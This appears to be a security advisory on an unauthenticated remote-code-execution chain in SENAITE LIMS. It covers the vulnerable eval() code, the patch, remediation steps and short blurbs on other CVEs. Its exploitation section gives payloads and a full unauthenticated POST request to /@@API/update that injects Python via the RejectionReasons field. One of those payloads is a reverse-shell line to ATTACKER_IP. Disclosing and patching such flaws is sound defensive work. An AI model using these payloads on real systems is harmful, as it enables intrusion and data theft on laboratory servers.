Aug 26, 2026·7 min read·40 visits
An unauthenticated remote attacker can execute arbitrary Python code on the server hosting SENAITE LIMS by chaining missing authorization on JSON API endpoints with unsafe eval operations on record fields.
SENAITE LIMS core framework (senaite.core) versions 2.0.0 through 2.6.0 contain a critical vulnerability chain that permits unauthenticated remote code execution. By combining a Missing Authorization flaw (CWE-862) in multiple JSON API endpoints with an Unsafe Evaluation flaw (CWE-95) during custom field deserialization, an attacker can execute arbitrary Python commands. This execution occurs under the privileges of the hosting Zope process, creating severe risk to laboratory systems, physical instrumentation databases, and host system integrity.
The SENAITE Laboratory Information Management System (LIMS) is an enterprise application designed to manage complex scientific laboratory workflows. At its core, the platform relies on senaite.core, a framework extending the Plone Content Management System and the Zope application server. This structure utilizes hierarchical object storage, custom field types, and an exposed JSON API wrapper mapped to the @@API view of the application.
The vulnerability is characterized by a two-stage exploit path. First, multiple state-changing endpoints in the JSON API fail to require authentication or correct authorizations, permitting an anonymous remote attacker to interact directly with internal configuration objects. Second, when these endpoints receive data meant for complex custom fields like RecordsField or RecordField, the application deserializes the values using an unsafe python evaluation mechanism.
This chain produces unauthenticated Remote Code Execution (RCE) on the host platform. Because the insecure parsing executes before Plone checks object-level mutation permissions, the payload runs even if the final database transaction is aborted. This renders traditional access control mechanisms completely ineffective against this threat.
To understand the root cause, the architecture of the SENAITE JSON API must be analyzed. In Plone, views are registered with specific Zope permissions. In affected versions of senaite.core, the general @@API interface was bound to the permissive zope2.View role. This configuration allows anonymous users to resolve and interact with API controllers.
While the create endpoint verified object-level permissions, several core modification endpoints did not check appropriate authorizations before performing resource operations. These functions mapped directly to endpoints such as /@@API/update, /@@API/remove, and /@@API/doActionFor. This lack of permission enforcement represents a classic Missing Authorization flaw (CWE-862).
Additionally, the application uses custom Archetypes and Dexterity fields to represent structured dictionary lists. These field implementations use RecordField and RecordsField classes to process records from JSON requests. When parsing strings representing dictionaries, the application invoked Python's native eval() function directly on user-provided input strings inside the API parsing path.
Because of Zope's transaction model, if a request performs unauthorized writes, the database state-change is discarded via transaction abort. However, the evaluation of the record fields happens during input deserialization, long before the transaction validation phase. As a result, the code execution step occurs unconditionally within the active worker thread, regardless of the transaction's ultimate failure and rollback.
The code-level flaw resides primarily in the JSON API helper parsing file src/bika/lims/jsonapi/__init__.py. In this component, parameter parsing is performed in a loop over incoming request fields. The implementation specifically checks the field type name as a string and routes it to an evaluation block.
# Vulnerable code in senaite.core versions <= 2.6.0
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
'senaite.core.browser.fields.record.RecordField']:
try:
# CRITICAL VULNERABILITY: Raw input string is executed directly
value = eval(value)
except Exception:
logger.warning(
"JSONAPI: " + fieldname + ": Invalid "
)Similar eval() blocks are duplicated in the specific field classes. For example, in src/senaite/core/browser/fields/record.py, the dynamic setter logic includes code evaluating raw string parameters.
# Vulnerable code inside record.py's set method
if type(value) in StringTypes:
try:
# Unsafe evaluation occurs when setting record field values
value = eval(value)The mitigation introduced in commit a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74 resolves this by discarding native evaluation in favor of the Python Abstract Syntax Tree literal parser. The new parsing module src/senaite/core/browser/fields/parsing.py safely decodes structural data.
# Patched parsing function using safe evaluation
import ast
def parse_record_literal(value, normalize_records=False):
"""Safely parse stringified record values without executing code.
"""
if not isinstance(value, str):
return value
if normalize_records:
value = value.replace('}\n', '},')
# ast.literal_eval only processes primitive python structures, not code
return ast.literal_eval(value)In addition to parsing corrections, commit ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7 added robust security gates. These checks ensure that any request attempting to use the API first matches the restrictive AccessJSONAPI permission before any input processing or deserialization begins.
Exploitation requires a sequence of four phases: discovering a target resource ID, formulating an evaluation payload, executing the API call, and triggering command execution. The first phase utilizes predictable Plone site structures. The configuration object bika_setup is present on every SENAITE site, and its unique ID (UUID) can be resolved through public API metadata paths.
Once the UUID is obtained, the attacker designs an expression payload. Because the injection point is an evaluation block, it must be a single Python expression rather than sequence statements. The attacker bypasses this restriction by using Python's built-in __import__ function to load modules and invoke OS-level subshells.
# Arbitrary system command execution payload
__import__('os').system('id')
# Reverse shell callback payload
__import__('subprocess').getoutput('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')In the third phase, the attacker targets the vulnerable endpoint /@@API/update via an unauthenticated POST request. The request payload contains the UUID of the target object alongside the injection parameter mapped to a field of type RecordsField, such as RejectionReasons.
POST /@@API/update HTTP/1.1
Host: target-senaite-lims.local
Content-Type: application/x-www-form-urlencoded
Connection: close
obj_uid=TARGET_BIKA_SETUP_UUID&RejectionReasons=__import__('os').system('touch /tmp/vulnerable')When the application server processes this request, the JSON API router traverses to the bika_setup configuration object. It extracts the parameter RejectionReasons, recognizes the associated RecordsField class, and executes the payload inside the evaluation environment. The operating system command executes immediately, while the HTTP thread subsequently returns an authorization or schema validation error due to the database transaction failing.
The security impact of CVE-2026-54569 is classified as critical, with a CVSS v3.1 score of 9.8. Successful exploitation allows an unauthenticated network adversary to execute arbitrary system-level commands inside the context of the Zope application server worker. This compromise grants the attacker the same operational privileges as the daemon user hosting the service.
Because LIMS environments routinely store confidential experimental data, patient metadata, chemical recipes, or clinical diagnostics, an attacker can access the entire database. They can copy, modify, or permanently delete critical operational logs. Attackers can also access environment configurations containing third-party database passwords, remote LDAP credentials, and active Zope admin session cookies.
In many setups, the LIMS server resides on the same network subnet as actual laboratory instruments and physical machinery controllers. This positioning allows attackers to pivot laterally. They can use the compromised server as an internal launching point to disrupt physical processes, capture local network data, or attack adjacent administrative infrastructure.
The definitive solution to remediate this vulnerability is to upgrade the senaite.core framework to version 2.7.0 or higher. This version integrates both patch commits, replacing the dangerous eval() blocks with secure ast.literal_eval() parsers and enforcing authentication requirements across all state-altering API methods.
If immediate version upgrades are not possible, administrators should apply hotfix patches by cherry-picking the specific security commits. Commit a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74 secures the data parsing logic, and commit ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7 introduces the proper authorization check routines.
In scenarios where code modifications are restricted, operational workarounds must be deployed. Administrators can configure front-end reverse proxies, such as NGINX or HAProxy, or a Web Application Firewall (WAF) to restrict external access to any URIs containing /@@API/. Blocking these API patterns prevents unauthenticated external actors from interacting with the vulnerable endpoints.
# Example NGINX configuration block to restrict access to JSON API
location ~* /@@API/ {
allow 192.168.1.0/24; # Restrict access to internal subnets
deny all;
}Additionally, security teams should enforce the principle of least privilege on the system level. The Zope process must be run as a non-privileged system user that does not possess sudo privileges, limiting the scope of any potential shell access.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
senaite.core SENAITE | >= 2.0.0, <= 2.6.0 | 2.7.0 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-54569 |
| CWE ID | CWE-95, CWE-862 |
| Attack Vector | Network |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Exploit Status | poc |
| KEV Status | false |
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Nuxt versions prior to 4.6.2 suffer from a route rule bypass vulnerability caused by an architectural mismatch in case-sensitivity handling between the Nitro server runtime and the Vue page router. An unauthenticated remote attacker can bypass server-enforced route directives—such as redirects, security headers, and SSR controls—by altering character casing in HTTP request paths.
A heap-based buffer overflow vulnerability in Pillow PyPI binary wheels (versions 11.1.0 to 12.x) allows remote code execution or application crash via crafted JPEG 2000 files processed by the bundled libopenjp2 library.
CVE-2026-109618 (dubbed PHP2Shell) is a critical vulnerability in the PHP engine core resulting from improper out-of-memory exception handling via longjmp(). When request allocation fails mid-processing, non-local control flow bypasses cleanup procedures, leaving memory structures uninitialized or in a use-after-free state during request shutdown.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.